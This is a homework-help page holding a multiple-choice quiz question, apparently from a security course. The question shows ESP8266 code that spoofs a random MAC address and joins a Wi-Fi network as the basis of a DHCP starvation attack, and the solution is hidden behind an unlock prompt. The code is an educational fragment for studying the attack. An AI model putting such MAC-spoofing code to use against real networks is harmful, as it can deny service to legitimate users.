Question: [ DHCP Starvation Attack ] The following code can be used to convert a ESP 8 2 6 6 IoT device to a DHCP Starvation

[DHCP Starvation Attack]
The following code can be used to convert a ESP8266 IoT device to a DHCP Starvation attacker. Please read and understand its logic, then select the true statements.
#include
const char* ssid = "CrackCYxxx";
const char* password = "Everyonecanbreakme";
void setup(){
Serial.begin(115200); delay(200); Serial.println(); Serial.println();
// Without setting the STA mode, the AP's macaddr will be changed
WiFi.mode(WIFI_STA);
uint8_t mac[6];
for (size_t i =0; i <6; ++i){
mac[i]= random(256);
}
mac[0]= mac[0] & ~0x01;
wifi_set_macaddr(STATION_IF, &mac[0]); // Using a random and fake MAC address to make the DHCP server think the request is from another machine
Serial.print("MAC address is ");
Serial.println(WiFi.macAddress());
//WiFi.hostname("AwesomeSensor");
Serial.print("Connecting to ");
Serial.println(ssid);
WiFi.begin(ssid, password);
while (WiFi.status()!= WL_CONNECTED){
delay(500);
Serial.print(".");
}
Serial.println("");
Serial.println("WiFi connected");
Serial.println("IP address: ");
Serial.println(WiFi.localIP());
}
void loop(){
}
Group of answer choices
The Wi-Fi client device must know the Wi-Fi password before it can initiate a DHCP Request
The ESP8266 IoT device will work at the Wi-Fi AP+STA mode if we want it to conduct the DHCP Starvation attack.
The device will work as a Wi-Fi client device (i.e., a Wi-Fi STA)
To trigger a new DHCP request and make it acceptable to the DHCP server, a new but different MAC address should be used in theDHCPrequest

Step by Step Solution

There are 3 Steps involved in it

1 Expert Approved Answer
Step: 1 Unlock blur-text-image
Question Has Been Solved by an Expert!

Get step-by-step solutions from verified subject matter experts

Step: 2 Unlock
Step: 3 Unlock

Students Have Also Explored These Related Databases Questions!